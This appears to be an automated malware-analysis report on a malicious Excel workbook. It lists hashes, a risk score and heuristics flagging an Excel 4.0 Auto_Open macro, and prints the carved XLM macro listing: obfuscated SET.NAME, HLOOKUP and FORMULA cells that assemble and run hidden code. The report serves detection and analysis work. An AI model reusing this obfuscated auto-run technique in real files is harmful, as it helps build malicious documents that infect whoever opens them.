Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 66aa314684a9b968…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:02 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 12ff2e2cd1dfc428fac723ac6513734e SHA-1: dd659939eac35b6901b52df269c6a5d84c425509 SHA-256: 66aa314684a9b968b71ad9e7f7abb465754cfdaef39b8db3002e4c89e6e84ca1
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6531 bytes
SHA-256: 338ba4dd98ec1108a4430f1ae518c01ffe17a65a594a453334499d31d67d70a6
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  kZFGPeBc
' 0018     26 LABEL : Cell Value, String Constant - atLGuzaidyh len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G181 
' 0018     23 LABEL : Cell Value, String Constant - AZtfhwns len=0 
' 0018     23 LABEL : Cell Value, String Constant - bjVFLrsS len=0 
' 0018     21 LABEL : Cell Value, String Constant - BlIaqD len=0 
' 0018     27 LABEL : Cell Value, String Constant - bumawYsXcFMU len=0 
' 0018     22 LABEL : Cell Value, String Constant - CPeYsFb len=0 
' 0018     22 LABEL : Cell Value, String Constant - DBlXJkR len=0 
' 0018     21 LABEL : Cell Value, String Constant - dGQYvx len=0 
' 0018     27 LABEL : Cell Value, String Constant - enJJntGVRbXV len=0 
' 0018     26 LABEL : Cell Value, String Constant - gJCQhayBMGn len=0 
' 0018     23 LABEL : Cell Value, String Constant - gNpcVbYs len=0 
' 0018     22 LABEL : Cell Value, String Constant - hSNDdmg len=0 
' 0018     22 LABEL : Cell Value, String Constant - KyRdOyv len=0 
' 0018     27 LABEL : Cell Value, String Constant - LbPUVxKFYIOy len=0 
' 0018     23 LABEL : Cell Value, String Constant - NiYfvaTp len=0 
' 0018     24 LABEL : Cell Value, String Constant - RtREwcuZg len=0 
' 0018     20 LABEL : Cell Value, String Constant - sAcgT len=0 
' 0018     21 LABEL : Cell Value, String Constant - URIUOO len=0 
' 0018     25 LABEL : Cell Value, String Constant - wDIWWtkisw len=0 
' 0018     25 LABEL : Cell Value, String Constant - yMTeTFLBmK len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  kZFGPeBc,G90,"SET.NAME("DBlXJkR",VALUE("0"))",""
'  kZFGPeBc,G95,"SET.NAME("hSNDdmg",DBlXJkR)",""
'  kZFGPeBc,G100,"SET.NAME("dGQYvx",DBlXJkR)",""
'  kZFGPeBc,G103,"SET.NAME("RtREwcuZg",COUNTA(gNpcVbYs))",""
'  kZFGPeBc,G105,"SET.NAME("wDIWWtkisw",COUNTA(sAcgT))",""
'  kZFGPeBc,G110,[],""
'  kZFGPeBc,G115,"SET.NAME("AZtfhwns","")",""
'  kZFGPeBc,G119,"hSNDdmg",""
'  kZFGPeBc,G124,"SET.NAME("URIUOO",HLOOKUP("*",gNpcVbYs,hSNDdmg,FALSE))",""
'  kZFGPeBc,G129,"LbPUVxKFYIOy",""
'  kZFGPeBc,G131,"SET.NAME("BlIaqD",DBlXJkR)",""
'  kZFGPeBc,G136,[],""
'  kZFGPeBc,G138,"BlIaqD",""
'  kZFGPeBc,G141,"KyRdOyv",""
'  kZFGPeBc,G143,"gJCQhayBMGn",""
'  kZFGPeBc,G146,"yMTeTFLBmK",""
'  kZFGPeBc,G150,"SET.NAME("atLGuzaidyh",VALUE(HLOOKUP("*",sAcgT,yMTeTFLBmK,FALSE)))",""
'  kZFGPeBc,G152,"bumawYsXcFMU",""
'  kZFGPeBc,G155,"AZtfhwns",""
'  kZFGPeBc,G158,"dGQYvx",""
'  kZFGPeBc,G160,NEXT(),""
'  kZFGPeBc,G164,"enJJntGVRbXV",""
'  kZFGPeBc,G167,"SET.NAME("f",INT(T(FORMULA(T(AZtfhwns)&"",""&T(enJJntGVRbXV)))))",""
'  kZFGPeBc,G169,"CPeYsFb",""
'  kZFGPeBc,G174,NEXT(),""
'  kZFGPeBc,G179,RETURN(),""
'  kZFGPeBc,G212,"SET.NAME("bjVFLrsS",G90)",""
'  kZFGPeBc,G217,"gNpcVbYs",""
'  kZFGPeBc,G220,"SET.NAME("sAcgT",R96C11)",""
'  kZFGPeBc,G223,"SET.NAME("CPeYsFb",234)",""
'  kZFGPeBc,G228,"SET.NAME("NiYfvaTp",7)",""
'  kZFGPeBc,G233,bjVFLrsS(),""
'  kZFGPeBc,G234,HALT(),""